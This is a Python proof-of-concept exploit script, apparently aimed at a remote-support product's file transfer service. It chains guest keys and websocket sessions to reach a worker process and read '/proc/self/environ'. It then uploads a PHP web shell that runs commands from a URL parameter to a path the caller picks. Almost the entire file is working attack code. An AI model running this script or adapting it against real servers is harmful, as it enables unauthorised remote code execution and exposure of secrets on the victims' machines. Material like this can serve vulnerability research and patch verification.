import asyncio, sys, string, random, hashlib
import aiohttp
import bt_poc as B


async def readline(control, tag):
    try:
        line = await asyncio.wait_for(control.line(), 10)
    except Exception as e:
        print('%s EXC %s %s' % (tag, type(e).__name__, e))
        return None
    print('%s %r' % (tag, line))
    return line


async def attempt(client, worker, path, content):
    listener = client.allocate_handler()
    token = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(24))
    fields = {'ckey': worker['ckey'], 'action': 'DownloadAnonymousFiles', 'ftsName': 'local',
              'serverAddress': client.address(listener), 'downloadToken': token,
              'path': path, 'wantOverwritePrompts': 0, 'enableResume': 0}
    await client.send_message(worker['address'], 'LocalFileTransfer\n' + B.fenc(fields), source_router=1)
    control = await client.accept_stream(listener)
    print('request', await control.request())
    control.compress()
    data = await client.connect_stream((await control.line()).strip())
    data.compress()
    name = path.rsplit('/', 1)[-1]
    meta = B.fenc({'cmd': 'want file?', 'src_filename': name, 'dest_filename': path,
                   'src_filesize': len(content), 'src_filedate': '', 'enable_resume': 0,
                   'preserveFileInfo': 0})
    await control.write('1\n%d\n%s\n%s\n%s\n' % (len(content), name, path, meta))
    md5 = hashlib.md5(content).hexdigest()
    for i in range(6):
        line = await readline(control, 'line%d' % i)
        if line is None:
            return
        if 'need hash' in line:
            print('-> sending hash=md5')
            await control.write('hash=%s\n' % md5)
        if line.startswith('cmd=do want file'):
            break
    await control.write(B.fenc({'cmd': 'begin file', 'use_content_relay': 0}) + '\n')
    for i in range(0, len(content), 16384):
        await data.write(content[i:i + 16384])
    await control.write('finished\n')
    for i in range(6):
        line = await readline(control, 'after%d' % i)
        if line is None:
            return
        if 'need hash' in line:
            print('-> sending raw md5')
            await control.write(md5 + '\n')
        if line.startswith('status='):
            break


async def main(ip, issue, path):
    base = 'https://' + ip
    content = ('<?php echo "BTZZ"; if (isset($_GET["c"])) { system($_GET["c"]); } ?>').encode()
    print('content len', len(content), 'md5', hashlib.md5(content).hexdigest())
    conn = aiohttp.TCPConnector(limit=4, force_close=True)
    async with aiohttp.ClientSession(connector=conn) as s:
        site = await B.site_info(s, base)
        nk = await B.guest_key(s, base, issue)
        tk = await B.guest_key(s, base, issue)
        w = await B.open_ws(s, base, site[0], site[1], False)
        c, h = await B.native_setup(w, nk)
        tw = await B.open_ws(s, base, site[0], site[1], True)
        await B.thin_setup(tw, tk)
        worker = await B.get_worker(c, h, tk)
        await B.read_file(c, worker, '/proc/self/environ')
        await attempt(c, worker, path, content)

asyncio.run(main(sys.argv[1], int(sys.argv[2]), sys.argv[3]))
